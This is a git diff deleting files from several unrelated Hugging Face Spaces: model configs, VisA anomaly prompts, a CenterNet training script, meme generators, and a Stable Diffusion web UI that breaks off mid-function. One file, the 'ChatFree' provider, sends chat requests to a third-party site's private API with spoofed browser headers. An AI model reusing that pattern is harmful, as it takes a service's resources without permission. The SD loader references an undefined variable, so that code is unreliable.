-_C.MODEL.IMAGE_ENCODER.SWIN.PATCH_SIZE = 4 -_C.MODEL.IMAGE_ENCODER.SWIN.IN_CHANS = 3 -_C.MODEL.IMAGE_ENCODER.SWIN.EMBED_DIM = 96 -_C.MODEL.IMAGE_ENCODER.SWIN.DEPTHS = [2, 2, 6, 2] -_C.MODEL.IMAGE_ENCODER.SWIN.NUM_HEADS = [3, 6, 12, 24] -_C.MODEL.IMAGE_ENCODER.SWIN.WINDOW_SIZE = 7 -_C.MODEL.IMAGE_ENCODER.SWIN.MLP_RATIO = 4. -_C.MODEL.IMAGE_ENCODER.SWIN.QKV_BIAS = True -_C.MODEL.IMAGE_ENCODER.SWIN.QK_SCALE = None -_C.MODEL.IMAGE_ENCODER.SWIN.APE = False -_C.MODEL.IMAGE_ENCODER.SWIN.PATCH_NORM = True - -# FocalNet parameters -_C.MODEL.IMAGE_ENCODER.FOCAL = CN() -_C.MODEL.IMAGE_ENCODER.FOCAL.PATCH_SIZE = 4 -_C.MODEL.IMAGE_ENCODER.FOCAL.IN_CHANS = 3 -_C.MODEL.IMAGE_ENCODER.FOCAL.EMBED_DIM = 96 -_C.MODEL.IMAGE_ENCODER.FOCAL.DEPTHS = [2, 2, 6, 2] -_C.MODEL.IMAGE_ENCODER.FOCAL.MLP_RATIO = 4. -_C.MODEL.IMAGE_ENCODER.FOCAL.PATCH_NORM = True -_C.MODEL.IMAGE_ENCODER.FOCAL.FOCAL_LEVELS = [2, 2, 2, 2] -_C.MODEL.IMAGE_ENCODER.FOCAL.FOCAL_WINDOWS = [3, 3, 3, 3] -_C.MODEL.IMAGE_ENCODER.FOCAL.FOCAL_FACTORS = [2, 2, 2, 2] -_C.MODEL.IMAGE_ENCODER.FOCAL.USE_CONV_EMBED = False -_C.MODEL.IMAGE_ENCODER.FOCAL.USE_LAYERSCALE = False -_C.MODEL.IMAGE_ENCODER.FOCAL.USE_POSTLN = False - -# ----------------------------------------------------------------------------- -# Build Text Encoder -# ----------------------------------------------------------------------------- -_C.MODEL.TEXT_ENCODER = CN() - -_C.MODEL.TEXT_ENCODER.NAME = 'transformer' -_C.MODEL.TEXT_ENCODER.LOAD_PRETRAINED = False -_C.MODEL.TEXT_ENCODER.PRETRAINED = '' -_C.MODEL.TEXT_ENCODER.TOKENIZER = 'clip' -_C.MODEL.TEXT_ENCODER.CONTEXT_LENGTH = 77 -_C.MODEL.TEXT_ENCODER.WIDTH = 1024 -_C.MODEL.TEXT_ENCODER.HEADS = 16 -_C.MODEL.TEXT_ENCODER.LAYERS = 12 -_C.MODEL.TEXT_ENCODER.AUTOGRESSIVE = True - -# ----------------------------------------------------------------------------- -# Training settings -# ----------------------------------------------------------------------------- -_C.TRAIN = CN() -_C.TRAIN.START_EPOCH = 0 -_C.TRAIN.EPOCHS = 32 -_C.TRAIN.WARMUP_EPOCHS = 5 -_C.TRAIN.WEIGHT_DECAY = 0.1 -_C.TRAIN.BASE_LR = 5e-4 -_C.TRAIN.WARMUP_LR = 5e-7 -_C.TRAIN.MIN_LR = 5e-6 -# Clip gradient norm -_C.TRAIN.CLIP_GRAD = 5.0 -# Auto resume from latest checkpoint -_C.TRAIN.AUTO_RESUME = True -# Gradient accumulation steps -# could be overwritten by command line argument -_C.TRAIN.ACCUMULATION_STEPS = 0 -# Whether to use gradient checkpointing to save memory -# could be overwritten by command line argument -_C.TRAIN.USE_CHECKPOINT = False - -# LR scheduler -_C.TRAIN.LR_SCHEDULER = CN() -_C.TRAIN.LR_SCHEDULER.NAME = 'cosine' -# Epoch interval to decay LR, used in StepLRScheduler -_C.TRAIN.LR_SCHEDULER.DECAY_EPOCHS = 30 -# LR decay rate, used in StepLRScheduler -_C.TRAIN.LR_SCHEDULER.DECAY_RATE = 0.1 - -# Optimizer -_C.TRAIN.OPTIMIZER = CN() -_C.TRAIN.OPTIMIZER.NAME = 'adamw' -# Optimizer Epsilon -_C.TRAIN.OPTIMIZER.EPS = 1e-8 -# Optimizer Betas -_C.TRAIN.OPTIMIZER.BETAS = (0.9, 0.999) -# SGD momentum -_C.TRAIN.OPTIMIZER.MOMENTUM = 0.9 - -# ----------------------------------------------------------------------------- -# Augmentation settings -# ----------------------------------------------------------------------------- -_C.AUG = CN() -# Color jitter factor -_C.AUG.COLOR_JITTER = 0.4 -# Use AutoAugment policy. "v0" or "original" -_C.AUG.AUTO_AUGMENT = 'rand-m9-mstd0.5-inc1' -# Random erase prob -_C.AUG.REPROB = 0.25 -# Random erase mode -_C.AUG.REMODE = 'pixel' -# Random erase count -_C.AUG.RECOUNT = 1 -# Mixup alpha, mixup enabled if > 0 -_C.AUG.MIXUP = 0.8 -# Cutmix alpha, cutmix enabled if > 0 -_C.AUG.CUTMIX = 1.0 -# Cutmix min/max ratio, overrides alpha and enables cutmix if set -_C.AUG.CUTMIX_MINMAX = None -# Probability of performing mixup or cutmix when either/both is enabled -_C.AUG.MIXUP_PROB = 1.0 -# Probability of switching to cutmix when both mixup and cutmix enabled -_C.AUG.MIXUP_SWITCH_PROB = 0.5 -# How to apply mixup/cutmix params. Per "batch", "pair", or "elem" -_C.AUG.MIXUP_MODE = 'batch' - -# ----------------------------------------------------------------------------- -# Testing settings -# ----------------------------------------------------------------------------- -_C.TEST = CN() -# Whether to use center crop when testing -_C.TEST.CROP = True - -# ----------------------------------------------------------------------------- -# Misc -# ----------------------------------------------------------------------------- -# Mixed precision opt level, if O0, no amp is used ('O0', 'O1', 'O2') -# overwritten by command line argument -_C.AMP_OPT_LEVEL = '' -# Path to output folder, overwritten by command line argument -_C.OUTPUT = '' -# Tag of experiment, overwritten by command line argument -_C.TAG = 'default' -# Frequency to save checkpoint -_C.SAVE_FREQ = 1 -# Frequency to logging info -_C.PRINT_FREQ = 100 -# Fixed random seed -_C.SEED = 0 -# Perform evaluation only, overwritten by command line argument -_C.EVAL_MODE = False -# Test throughput only, overwritten by command line argument -_C.THROUGHPUT_MODE = False -# Debug only so that skip dataloader initialization, overwritten by command line argument -_C.DEBUG_MODE = False -# local rank for DistributedDataParallel, given by command line argument -_C.LOCAL_RANK = 0 - - -def _update_config_from_file(config, cfg_file): - config.defrost() - with open(cfg_file, 'r') as f: - yaml_cfg = yaml.load(f, Loader=yaml.FullLoader) - - for cfg in yaml_cfg.setdefault('BASE', ['']): - if cfg: - _update_config_from_file( - config, os.path.join(os.path.dirname(cfg_file), cfg) - ) - print('=> merge config from {}'.format(cfg_file)) - config.merge_from_file(cfg_file) - config.freeze() - - -def update_config(config, args): - _update_config_from_file(config, args.cfg) - config.freeze() - - -def get_config(args): - """Get a yacs CfgNode object with default values.""" - # Return a clone so that the defaults will not be altered - # This is for the "local variable" use pattern - config = _C.clone() - update_config(config, args) - - return config diff --git a/spaces/Caoyunkang/Segment-Any-Anomaly/SAA/prompts/visa_parameters.py b/spaces/Caoyunkang/Segment-Any-Anomaly/SAA/prompts/visa_parameters.py deleted file mode 100644 index 1675de91afc03bd839e486dce6fb748d13adbe50..0000000000000000000000000000000000000000 --- a/spaces/Caoyunkang/Segment-Any-Anomaly/SAA/prompts/visa_parameters.py +++ /dev/null @@ -1,153 +0,0 @@ -manual_prompts = { - 'candle': [ - ['color defect. hole. black defect. wick hole. spot. ', 'candle'], - ], - - 'capsules': [ - ['black melt. dark liquid.', 'capsules'], - ['bubble', 'capsules'], # 33+-->37+ - ], - - 'cashew': [ - ['yellow defect. black defect. small holes. scratch. breakage. crack.', 'cashew'], - ['small spot.', 'cashew'], - - ], - - 'chewinggum': [ - ['crack. yellow defect. color defect. black defect. thread.', 'chewinggum'], - ], - - 'fryum': [ - ['broken part. purple defect. black defect. red defect. color defect. color crack. break', 'fryum'], - # 48.4-->51.58 - ], - - 'macaroni1': [ - ['broken part. red defect. black defect. crack. hole. scratch. color crack.', 'macaroni'], # 45.66-->46.04 - ], - - 'macaroni2': [ - ['broken part. red defect. black defect. crack. hole. scratch.', 'macaroni'], # 29.12-->32.64 - ['edge. spot. chip.', 'macaroni'], - ], - - # - 'pcb1': [ # 3.37-->8.6 - ['bent wire on pcb', 'pcb'], - ['white scratch on pcb', 'pcb'], - ['white defect on pcb', 'pcb'], - ['white circle.', 'pcb'] - ], - - 'pcb2': [ - ['bent wire', 'pcb'], - ['pointed', 'pcb'], - ['wire', 'pcb'], - ], - - 'pcb3': [ - ['bent wire on pcb', 'pcb'], - ['scratch on pcb', 'pcb'], - ['defect on pcb', 'pcb'], - ], - - 'pcb4': [ - ['yellow paper on pcb', 'pcb'], - ['yellow defect on pcb', 'pcb'], - ['black defect on pcb', 'pcb'], - ['color defect on pcb', 'pcb'], - ['scratch on pcb', 'pcb'], - ['defect on pcb', 'pcb'], - ], - - 'pipe_fryum': [ - ['broken part. red defect. black defect. crack. hole. scratch.', 'fryum'], - ], -} - -property_prompts = { - 'candle': 'the image of candle have 4 similar candle, with a maximum of 1 anomaly. The anomaly would not exceed 0.3 object area. ', - 'capsules': 'the image of capsule have 20 dissimilar capsule, with a maximum of 15 anomaly. The anomaly would not exceed 1. object area. ', - 'cashew': 'the image of cashew have 1 dissimilar cashew, with a maximum of 17 anomaly. The anomaly would not exceed 0.05 object area. ', - 'chewinggum': 'the image of chewinggum have 1 dissimilar chewinggum with a maximum of 50 anomaly. The anomaly would not exceed 0.2 object area. ', - 'fryum': 'the image of fryum have 1 dissimilar fryum, with a maximum of 5 anomaly. The anomaly would not exceed 1. object area. ', - 'macaroni1': 'the image of macaroni1 have 4 similar macaroni, with a maximum of 5 anomaly. The anomaly would not exceed 0.3 object area. ', - 'macaroni2': 'the image of macaroni2 have 4 dissimilar macaroni, with a maximum of 50 anomaly. The anomaly would not exceed 0.3 object area. ', - 'pcb1': 'the image of pcb1 have 1 dissimilar printed_circuit_board, with a maximum of 1 anomaly. The anomaly would not exceed 0.3 object area. ', - 'pcb2': 'the image of pcb2 have 1 dissimilar pcb, with a maximum of 9 anomaly. The anomaly would not exceed 0.3 object area. ', - 'pcb3': 'the image of pcb3 have 1 dissimilar printed_circuit_board, with a maximum of 5 anomaly. The anomaly would not exceed 0.3 object area. ', - 'pcb4': 'the image of pcb4 have 1 dissimilar pcb, with a maximum of 7 anomaly. The anomaly would not exceed 0.3 object area. ', - 'pipe_fryum': 'the image of pipe_fryum have 1 dissimilar pipe_fryum, with a maximum of 19 anomaly. The anomaly would not exceed 0.3 object area. ', -} - -official_prompts = { - "candle": - ["damaged corner of packaging,different colour spot,other", - "different colour spot,foreign particals on candle", - "chunk of wax missing,damaged corner of packaging,different colour spot", - "damaged corner of packaging,foreign particals on candle", - "wax melded out of the candle", "damaged corner of packaging,extra wax in candle", - "different colour spot,wax melded out of the candle", - "weird candle wick,different colour spot", - "damaged corner of packaging,weird candle wick", - "chunk of wax missing,foreign particals on candle", "different colour spot", - "damaged corner of packaging,different colour spot", - "foreign particals on candle,wax melded out of the candle", "extra wax in candle", - "weird candle wick", "damaged corner of packaging", - "chunk of wax missing,different colour spot", "chunk of wax missing", - "foreign particals on candle" - ], - "capsules": ["bubble,discolor,scratch", "bubble", "bubble,discolor,scratch,leak", - "bubble,discolor,scratch,leak,misshape", "bubble,discolor"], - "cashew": ["stuck together", "burnt", "different colour spot,small holes", - "corner or edge breakage", "same colour spot", "burnt,same colour spot", - "different colour spot,same colour spot", "corner or edge breakage,small scratches", - "burnt,different colour spot", "middle breakage,small holes", "small holes", - "different colour spot", "burnt,corner or edge breakage", "middle breakage", - "small scratches", "middle breakage,same colour spot"], - "chewinggum": ["chunk of gum missing,scratches,small cracks", - "corner missing,similar colour spot,small cracks", "similar colour spot", - "corner missing,similar colour spot", "corner missing,small cracks", - "corner missing", "chunk of gum missing,scratches", - "chunk of gum missing,small cracks", "chunk of gum missing", - "chunk of gum missing,corner missing", "scratches", - "scratches,similar colour spot,small cracks", - "chunk of gum missing,corner missing,small cracks", "scratches,similar colour spot", - "corner missing,scratches"], - "fryum": ["middle breakage,small scratches", "middle breakage,similar colour spot", - "similar colour spot,small scratches", "burnt", "similar colour spot", - "different colour spot", "fryum stuck together", - "different colour spot,similar colour spot", "corner or edge breakage", - "corner or edge breakage,small scratches", "middle breakage", "similar colour spot,other", - "small scratches"], - "macaroni1": ["chip around edge and corner,small cracks", "middle breakage,small scratches", - "chip around edge and corner", "small cracks", "small cracks,small scratches", - "different colour spot", "similar colour spot", - "different colour spot,similar colour spot", - "chip around edge and corner,small scratches", "small scratches"], - "macaroni2": ["small chip around edge", "small cracks", - "breakage down the middle,color spot similar to the object,different color spot,small chip around edge,small cracks", - "small cracks,small scratches", "small scratches", - "breakage down the middle,color spot similar to the object,different color spot,small chip around edge", - "breakage down the middle,color spot similar to the object,different color spot,small chip around edge,small cracks,small scratches,other", - "different color spot", "breakage down the middle,small scratches", - "breakage down the middle", "color spot similar to the object", - "breakage down the middle,color spot similar to the object,different color spot,small chip around edge,small cracks,small scratches", - "small chip around edge,small scratches"], - "pcb1": ["melt,scratch", "scratch,missing", "bent", "missing", "melt,missing", "melt", - "melt,scratch,missing", "scratch", "bent,melt"], - "pcb2": ["melt,scratch", "scratch,missing", "bent", "missing", "melt", "scratch", "bent,melt"], - "pcb3": ["scratch,missing", "bent", "missing", "melt", "melt,missing", "melt,scratch", - "melt,scratch,missing", "scratch", "bent,melt"], - "pcb4": ["burnt,dirt", "missing,dirt", "burnt,scratch,dirt", "scratch,extra,dirt", "burnt", - "damage,dirt", "wrong place", "burnt,extra", "missing,damage,extra", "scratch,damage,dirt", - "extra", "scratch,damage", "scratch,missing", "scratch,missing,dirt", "wrong place,dirt", - "extra,dirt", "missing,wrong place", "missing,damage", "scratch,damage,extra", "missing", - "damage", "damage,extra", "scratch,extra,wrong place", "scratch,dirt", "scratch,extra", - "scratch"], - "pipe_fryum": ["middle breakage,small scratches,small cracks", - "similar colour spot,small scratches", "stuck together", - "burnt", "different colour spot", "similar colour spot", - "corner and edge breakage", "burnt,small scratches", - "small scratches", "middle breakage,small cracks"]} diff --git a/spaces/Chomkwoy/Nilkessye/train.py b/spaces/Chomkwoy/Nilkessye/train.py deleted file mode 100644 index f9949b7b70f4a9fc2b210f8ead22413a63c64b3d..0000000000000000000000000000000000000000 --- a/spaces/Chomkwoy/Nilkessye/train.py +++ /dev/null @@ -1,127 +0,0 @@ -import warnings - -from pytorch_lightning.callbacks import ModelCheckpoint - -warnings.filterwarnings( - action="ignore", - message=".*An output with one or more elements.*", -) -warnings.filterwarnings( - action="ignore", - message=".*mask with dtype torch.uint8.*", -) -warnings.filterwarnings( - action="ignore", - message=".*indexing with dtype torch.uint8.*", -) - -from typing import List -import argparse - -import numpy as np -import pytorch_lightning as L -import torch.utils.data -from pytorch_lightning.loggers import TensorBoardLogger - -from model import exkp, compute_loss -from synthetic_dataset import load_dataset - - -class CenterNet(L.LightningModule): - def __init__(self): - super().__init__() - self.model = exkp( - n=5, - nstack=4, - dims=[256, 256, 384, 384, 384, 512], - modules=[2, 2, 2, 2, 2, 4], - num_classes=4 - ) - - def forward(self, x): - return self.model(x) - - def validation_step(self, batch, batch_idx): - outputs = self(batch['image']) - loss, loss_dict = compute_loss(outputs, batch, return_dict=True) - self.log("val_loss", loss.mean(), sync_dist=True) - for key, value in loss_dict.items(): - self.log("val_" + key, value.mean(), sync_dist=True) - - def training_step(self, batch, batch_idx): - outputs = self(batch['image']) - loss, loss_dict = compute_loss(outputs, batch, return_dict=True) - self.log("train_loss", loss.mean(), sync_dist=True) - for key, value in loss_dict.items(): - self.log("train_" + key, value.mean(), sync_dist=True) - return loss.mean() - - def configure_optimizers(self): - optimizer = torch.optim.Adam(self.parameters(), 2.5e-4) - scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [45, 60], gamma=0.1) - return [optimizer], [scheduler] - - -def collate(batch: List[dict]): - out = {k: [] for k in batch[0].keys()} - for item in batch: - for key, value in item.items(): - out[key].append(value) - result = {} - for key, value in out.items(): - if any(isinstance(v, np.ndarray) for v in value): - valid = torch.tensor([isinstance(v, np.ndarray) for v in value]) - result[f"{key}_valid"] = valid - zero_array = np.zeros_like([v for v in value if isinstance(v, np.ndarray)][0]) - filled_value = [v if isinstance(v, np.ndarray) else zero_array for v in value] - value = torch.as_tensor(np.stack(filled_value)) - - result[key] = value - return result - - -def main(): - parser = argparse.ArgumentParser() - parser.add_argument('--resume', default=None) - parser.add_argument('--ckpt_path', required=True, type=str) - args = parser.parse_args() - - train_dataset, test_dataset = load_dataset(train_size=10**6) - - train_loader = torch.utils.data.DataLoader( - train_dataset, batch_size=2, - shuffle=True, num_workers=2, pin_memory=True, - drop_last=True, collate_fn=collate) - val_loader = torch.utils.data.DataLoader( - test_dataset, batch_size=2, - shuffle=False, num_workers=2, pin_memory=True, - drop_last=True, collate_fn=collate) - - logger = TensorBoardLogger("tb_logs", name="centernet") - - checkpoint_callbacks = [ - ModelCheckpoint( - dirpath=args.ckpt_path, - save_top_k=5, - monitor="val_loss", - every_n_epochs=1, - save_last=True - ), - ] - trainer = L.Trainer( - accelerator="gpu", - logger=logger, - max_epochs=-1, - callbacks=checkpoint_callbacks, - val_check_interval=200, - check_val_every_n_epoch=None, - accumulate_grad_batches=4 - ) - - centernet = CenterNet() - trainer.fit(centernet, train_loader, val_loader, - ckpt_path=args.resume) - - -if __name__ == "__main__": - main() diff --git a/spaces/CikeyQI/meme-api/meme_generator/memes/china_flag/__init__.py b/spaces/CikeyQI/meme-api/meme_generator/memes/china_flag/__init__.py deleted file mode 100644 index f02e2724b4702ed900a8885df7ea7c587a6f0aa3..0000000000000000000000000000000000000000 --- a/spaces/CikeyQI/meme-api/meme_generator/memes/china_flag/__init__.py +++ /dev/null @@ -1,18 +0,0 @@ -from pathlib import Path -from typing import List - -from pil_utils import BuildImage - -from meme_generator import add_meme - -img_dir = Path(__file__).parent / "images" - - -def china_flag(images: List[BuildImage], texts, args): - img = images[0].convert("RGBA") - frame = BuildImage.open(img_dir / "0.png") - frame.paste(img.resize(frame.size, keep_ratio=True), below=True) - return frame.save_jpg() - - -add_meme("china_flag", china_flag, min_images=1, max_images=1, keywords=["国旗"]) diff --git a/spaces/CikeyQI/meme-api/meme_generator/memes/find_chips/__init__.py b/spaces/CikeyQI/meme-api/meme_generator/memes/find_chips/__init__.py deleted file mode 100644 index 837504f347601f3ea0cf0eb01dc9d168ea0974e7..0000000000000000000000000000000000000000 --- a/spaces/CikeyQI/meme-api/meme_generator/memes/find_chips/__init__.py +++ /dev/null @@ -1,42 +0,0 @@ -from pathlib import Path -from typing import List, Tuple - -from pil_utils import BuildImage - -from meme_generator import add_meme -from meme_generator.exception import TextOverLength - -img_dir = Path(__file__).parent / "images" - - -def find_chips(images, texts: List[str], args): - frame = BuildImage.open(img_dir / "0.jpg") - - def draw(pos: Tuple[float, float, float, float], text: str): - try: - frame.draw_text( - pos, text, max_fontsize=30, min_fontsize=12, allow_wrap=True - ) - except ValueError: - raise TextOverLength(text) - - draw((405, 54, 530, 130), texts[0]) - draw((570, 62, 667, 160), texts[1]) - draw((65, 400, 325, 463), texts[2]) - draw((430, 400, 630, 470), texts[3]) - return frame.save_jpg() - - -add_meme( - "find_chips", - find_chips, - min_texts=4, - max_texts=4, - default_texts=[ - "我们要飞向何方", - "我打算待会去码头整点薯条", - "我说的是归根结底，活着是为了什么", - "为了待会去码头整点薯条", - ], - keywords=["整点薯条"], -) diff --git a/spaces/Cippppy/RegressionVisualization/README.md b/spaces/Cippppy/RegressionVisualization/README.md deleted file mode 100644 index 9a4fa614152459a50df72dcdacf26af85ff46ede..0000000000000000000000000000000000000000 --- a/spaces/Cippppy/RegressionVisualization/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: RegressionVisualization -emoji: 🐨 -colorFrom: red -colorTo: indigo -sdk: gradio -sdk_version: 3.48.0 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/CofAI/chat/g4f/Provider/Providers/ChatFree.py b/spaces/CofAI/chat/g4f/Provider/Providers/ChatFree.py deleted file mode 100644 index 6bbaebaed35681026ff1eeb8eee3270e3b0741fd..0000000000000000000000000000000000000000 --- a/spaces/CofAI/chat/g4f/Provider/Providers/ChatFree.py +++ /dev/null @@ -1,48 +0,0 @@ -import os, requests -from ...typing import sha256, Dict, get_type_hints -import json - -url = "https://v.chatfree.cc" -model = ['gpt-3.5-turbo', 'gpt-3.5-turbo-16k'] -supports_stream = False -needs_auth = False - - -def _create_completion(model: str, messages: list, stream: bool, **kwargs): - headers = { - 'authority': 'chat.dfehub.com', - 'accept': '*/*', - 'accept-language': 'en,fr-FR;q=0.9,fr;q=0.8,es-ES;q=0.7,es;q=0.6,en-US;q=0.5,am;q=0.4,de;q=0.3', - 'content-type': 'application/json', - 'origin': 'https://v.chatfree.cc', - 'referer': 'https://v.chatfree.cc/', - 'sec-ch-ua': '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"macOS"', - 'sec-fetch-dest': 'empty', - 'sec-fetch-mode': 'cors', - 'sec-fetch-site': 'same-origin', - 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', - 'x-requested-with': 'XMLHttpRequest', - } - - json_data = { - 'messages': messages, - 'stream': True, - 'model': model, - 'temperature': 0.5, - 'presence_penalty': 0, - 'frequency_penalty': 0, - 'top_p': 1, - } - - response = requests.post('https://v.chatfree.cc/api/openai/v1/chat/completions', - headers=headers, json=json_data) - - for chunk in response.iter_lines(): - if b'content' in chunk: - data = json.loads(chunk.decode().split('data: ')[1]) - yield (data['choices'][0]['delta']['content']) - -params = f'g4f.Providers.{os.path.basename(__file__)[:-3]} supports: ' + \ - '(%s)' % ', '.join([f"{name}: {get_type_hints(_create_completion)[name].__name__}" for name in _create_completion.__code__.co_varnames[:_create_completion.__code__.co_argcount]]) \ No newline at end of file diff --git a/spaces/Covert1107/sd-diffusers-webui/app.py b/spaces/Covert1107/sd-diffusers-webui/app.py deleted file mode 100644 index cdc3f5dfc8937328b6eef9d7d9de513cbb9736e5..0000000000000000000000000000000000000000 --- a/spaces/Covert1107/sd-diffusers-webui/app.py +++ /dev/null @@ -1,878 +0,0 @@ -import random -import tempfile -import time -import gradio as gr -import numpy as np -import torch -import math -import re - -from gradio import inputs -from diffusers import ( - AutoencoderKL, - DDIMScheduler, - UNet2DConditionModel, -) -from modules.model import ( - CrossAttnProcessor, - StableDiffusionPipeline, -) -from torchvision import transforms -from transformers import CLIPTokenizer, CLIPTextModel -from PIL import Image -from pathlib import Path -from safetensors.torch import load_file -import modules.safe as _ -from modules.lora import LoRANetwork - -models = [ - ("AbyssOrangeMix2", "Korakoe/AbyssOrangeMix2-HF", 2), - ("Pastal Mix", "andite/pastel-mix", 2), - ("Basil Mix", "nuigurumi/basil_mix", 2) -] - -keep_vram = ["Korakoe/AbyssOrangeMix2-HF", "andite/pastel-mix"] -base_name, base_model, clip_skip = models[0] - -samplers_k_diffusion = [ - ("Euler a", "sample_euler_ancestral", {}), - ("Euler", "sample_euler", {}), - ("LMS", "sample_lms", {}), - ("Heun", "sample_heun", {}), - ("DPM2", "sample_dpm_2", {"discard_next_to_last_sigma": True}), - ("DPM2 a", "sample_dpm_2_ancestral", {"discard_next_to_last_sigma": True}), - ("DPM++ 2S a", "sample_dpmpp_2s_ancestral", {}), - ("DPM++ 2M", "sample_dpmpp_2m", {}), - ("DPM++ SDE", "sample_dpmpp_sde", {}), - ("LMS Karras", "sample_lms", {"scheduler": "karras"}), - ("DPM2 Karras", "sample_dpm_2", {"scheduler": "karras", "discard_next_to_last_sigma": True}), - ("DPM2 a Karras", "sample_dpm_2_ancestral", {"scheduler": "karras", "discard_next_to_last_sigma": True}), - ("DPM++ 2S a Karras", "sample_dpmpp_2s_ancestral", {"scheduler": "karras"}), - ("DPM++ 2M Karras", "sample_dpmpp_2m", {"scheduler": "karras"}), - ("DPM++ SDE Karras", "sample_dpmpp_sde", {"scheduler": "karras"}), -] - -# samplers_diffusers = [ -# ("DDIMScheduler", "diffusers.schedulers.DDIMScheduler", {}) -# ("DDPMScheduler", "diffusers.schedulers.DDPMScheduler", {}) -# ("DEISMultistepScheduler", "diffusers.schedulers.DEISMultistepScheduler", {}) -# ] - -start_time = time.time() -timeout = 90 - -scheduler = DDIMScheduler.from_pretrained( - base_model, - subfolder="scheduler", -) -vae = AutoencoderKL.from_pretrained( - "stabilityai/sd-vae-ft-ema", - torch_dtype=torch.float16 -) -text_encoder = CLIPTextModel.from_pretrained( - base_model, - subfolder="text_encoder", - torch_dtype=torch.float16, -) -tokenizer = CLIPTokenizer.from_pretrained( - base_model, - subfolder="tokenizer", - torch_dtype=torch.float16, -) -unet = UNet2DConditionModel.from_pretrained( - base_model, - subfolder="unet", - torch_dtype=torch.float16, -) -pipe = StableDiffusionPipeline( - text_encoder=text_encoder, - tokenizer=tokenizer, - unet=unet, - vae=vae, - scheduler=scheduler, -) - -unet.set_attn_processor(CrossAttnProcessor) -pipe.setup_text_encoder(clip_skip, text_encoder) -if torch.cuda.is_available(): - pipe = pipe.to("cuda") - -def get_model_list(): - return models - -te_cache = { - base_model: text_encoder -} - -unet_cache = { - base_model: unet -} - -lora_cache = { - base_model: LoRANetwork(text_encoder, unet) -} - -te_base_weight_length = text_encoder.get_input_embeddings().weight.data.shape[0] -original_prepare_for_tokenization = tokenizer.prepare_for_tokenization -current_model = base_model - -def setup_model(name, lora_state=None, lora_scale=1.0): - global pipe, current_model - - keys = [k[0] for k in models] - model = models[keys.index(name)][1] - if model not in unet_cache: - unet = UNet2DConditionModel.from_pretrained(model, subfolder="unet", torch_dtype=torch.float16) - text_encoder = CLIPTextModel.from_pretrained(model, subfolder="text_encoder", torch_dtype=torch.float16) - - unet_cache[model] = unet - te_cache[model] = text_encoder - lora_cache[model] = LoRANetwork(text_encoder, unet) - - if current_model != model: - if current_model not in keep_vram: - # offload current model - unet_cache[current_model].to("cpu") - te_cache[current_model].to("cpu") - lora_cache[current_model].to("cpu") - current_model = model - - local_te, local_unet, local_lora, = te_cache[model], unet_cache[model], lora_cache[model] - local_unet.set_attn_processor(CrossAttnProcessor()) - local_lora.reset() - clip_skip = models[keys.index(name)][2] - - if torch.cuda.is_available(): - local_unet.to("cuda") - local_te.to("cuda") - - if lora_state is not None and lora_state != "": - local_lora.load(lora_state, lora_scale) - local_lora.to(local_unet.device, dtype=local_unet.dtype) - - pipe.text_encoder, pipe.unet = local_te, local_unet - pipe.setup_unet(local_unet) - pipe.tokenizer.prepare_for_tokenization = original_prepare_for_tokenization - pipe.tokenizer.added_tokens_encoder = {} - pipe.tokenizer.added_tokens_decoder = {} - pipe.setup_text_encoder(clip_skip, local_te) - return pipe - - -def error_str(error, title="Error"): - return ( - f"""#### {title} - {error}""" - if error - else "" - ) - -def make_token_names(embs): - all_tokens = [] - for name, vec in embs.items(): - tokens = [f'emb-{name}-{i}' for i in range(len(vec))] - all_tokens.append(tokens) - return all_tokens - -def setup_tokenizer(tokenizer, embs): - reg_match = [re.compile(fr"(?:^|(?<=\s|,)){k}(?=,|\s|$)") for k in embs.keys()] - clip_keywords = [' '.join(s) for s in make_token_names(embs)] - - def parse_prompt(prompt: str): - for m, v in zip(reg_match, clip_keywords): - prompt = m.sub(v, prompt) - return prompt - - def prepare_for_tokenization(self, text: str, is_split_into_words: bool = False, **kwargs): - text = parse_prompt(text) - r = original_prepare_for_tokenization(text, is_split_into_words, **kwargs) - return r - tokenizer.prepare_for_tokenization = prepare_for_tokenization.__get__(tokenizer, CLIPTokenizer) - return [t for sublist in make_token_names(embs) for t in sublist] - - -def convert_size(size_bytes): - if size_bytes == 0: - return "0B" - size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") - i = int(math.floor(math.log(size_bytes, 1024))) - p = math.pow(1024, i) - s = round(size_bytes / p, 2) - return "%s %s" % (s, size_name[i]) - -def inference( - prompt, - guidance, - steps, - width=512, - height=512, - seed=0, - neg_prompt="", - state=None, - g_strength=0.4, - img_input=None, - i2i_scale=0.5, - hr_enabled=False, - hr_method="Latent", - hr_scale=1.5, - hr_denoise=0.8, - sampler="DPM++ 2M Karras", - embs=None, - model=None, - lora_state=None, - lora_scale=None, -): - if seed is None or seed == 0: - seed = random.randint(0, 2147483647) - - pipe = setup_model(model, lora_state, lora_scale) - generator = torch.Generator("cuda").manual_seed(int(seed)) - start_time = time.time() - - sampler_name, sampler_opt = None, None - for label, funcname, options in samplers_k_diffusion: - if label == sampler: - sampler_name, sampler_opt = funcname, options - - tokenizer, text_encoder = pipe.tokenizer, pipe.text_encoder - if embs is not None and len(embs) > 0: - ti_embs = {} - for name, file in embs.items(): - if str(file).endswith(".pt"): - loaded_learned_embeds = torch.load(file, map_location="cpu") - else: - loaded_learned_embeds = load_file(file, device="cpu") - loaded_learned_embeds = loaded_learned_embeds["string_to_param"]["*"] if "string_to_param" in loaded_learned_embed else loaded_learned_embed - ti_embs[name] = loaded_learned_embeds - - if len(ti_embs) > 0: - tokens = setup_tokenizer(tokenizer, ti_embs) - added_tokens = tokenizer.add_tokens(tokens) - delta_weight = torch.cat([val for val in ti_embs.values()], dim=0) - - assert added_tokens == delta_weight.shape[0] - text_encoder.resize_token_embeddings(len(tokenizer)) - token_embeds = text_encoder.get_input_embeddings().weight.data - token_embeds[-delta_weight.shape[0]:] = delta_weight - - config = { - "negative_prompt": neg_prompt, - "num_inference_steps": int(steps), - "guidance_scale": guidance, - "generator": generator, - "sampler_name": sampler_name, - "sampler_opt": sampler_opt, - "pww_state": state, - "pww_attn_weight": g_strength, - "start_time": start_time, - "timeout": timeout, 